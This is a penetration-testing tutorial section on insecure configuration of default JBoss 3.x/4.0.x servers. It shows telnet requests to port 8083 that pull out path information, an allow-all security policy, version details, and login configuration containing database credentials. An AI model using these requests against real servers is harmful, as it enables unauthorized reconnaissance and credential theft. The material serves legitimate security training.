A10--Insecure Configuration Management





A10– Insecure Configuration Management

Needlessly exposing sensitive system-level data via an insecure server configuration could prove to be quite harmful. Typical app servers come with many configuration options in insecure mode out of the box. Understand that this is an entirely subjective area and impossible to cover in a small section such as this. Each target you work against will have different configuration options and exposures, so research is inevitable. This section presents some examples targeting JBoss 3.X and 4.0.X app server default installations with port 8083 as one of the open administrative interfaces. These examples represent a small sampling of the data you may help your target entity not expose.

telnet <target> 8083
...
GET %. HTTP/1.0
HTTP/1.0 400 /opt/jboss-4.0.0/server/standard/conf (Is a directory)
Content-Type: text/html

Connection closed by foreign host.

That exposure gives you a physical path and the type of deployment (standard).

telnet <target> 8083
...
GET %server.policy  HTTP/1.0
HTTP/1.0 200 OK
...
//  JBoss Security Policy
...
grant {
   // Allow everything for now
   permission java.security.AllPermission;
};
Connection closed by foreign host.

The data you just extracted tells you that the deployment policy is set to operate in the most open mode where all permissions are allowed.

telnet <target> 8083
...
GET %org/jboss/version.properties HTTP/1.0
HTTP/1.0 200 OK
...
##  Holds version properties for JBoss.
...
# Information about Java version used to compile
java.version=1.4.2_05
java.vendor=Sun Microsystems Inc.
java.vm.specification.version=1.0
java.vm.version=1.4.2_05-b04
java.vm.name=Java HotSpot(TM) Client VM
java.vm.info=mixed mode
java.specification.version=1.4
java.class.version=48.0

# Information about the OS the server was compiled on
os.name=Linux
os.arch=i386
os.version=2.4.21-20.ELsmp
Connection closed by foreign host.

The version properties exposure gives away many deployment details including the Java and OS Kernel versions for the target Linux deployment in this particular example.

telnet <target> 8083
...
GET %login-config.xml HTTP/1.0
HTTP/1.0 200 OK
...
<?xml version='1.0'?>
<!DOCTYPE policy PUBLIC
      "-//JBoss//DTD JBOSS Security Config 3.0//EN"
      "http://www.jboss.org/j2ee/dtd/security_config.dtd">
...
<policy>
...
    <!-- Security domain for JBossMQ -->
    <application-policy name = "jbossmq">
       ...
             <module-option name = "principalsQuery">SELECT PASSWD FROM JMS_USERS
WHERE USERID=?</module-option>
             <module-option name = "rolesQuery">SELECT ROLEID, 'Roles' FROM
JMS_ROLES WHERE USERID=?</module-option>
          </login-module>
       </authentication>
    </application-policy>
...
    <application-policy name = "FirebirdDBRealm">
       ...
             <module-option name = "principal">sysdba</module-option>
             <module-option name = "userName">sysdba</module-option>
             <module-option name = "password">masterkey</module-option>
       ...
    </application-policy>
...
</policy>
Connection closed by foreign host.

This snippet from an authentication configuration exposure is a gold mine; you get DB details with table and column information. There are also credentials in the XML returned.

Ultimately as a pen tester you must research your target’s administrative interfaces and exposures. Most modern-day app and web servers have GUI-based administrative configuration interfaces. So web-based attacks may target these admin sections. But your research will drive your direction, and based on the examples just shown you should see that the exposed data could prove to be very valuable.

Previous Section
Next Section


 Python   SQL   Java   php   Perl 
 game development   web development   internet   *nix   graphics   hardware 
 telecommunications   C++ 
 Flash   Active Directory   Windows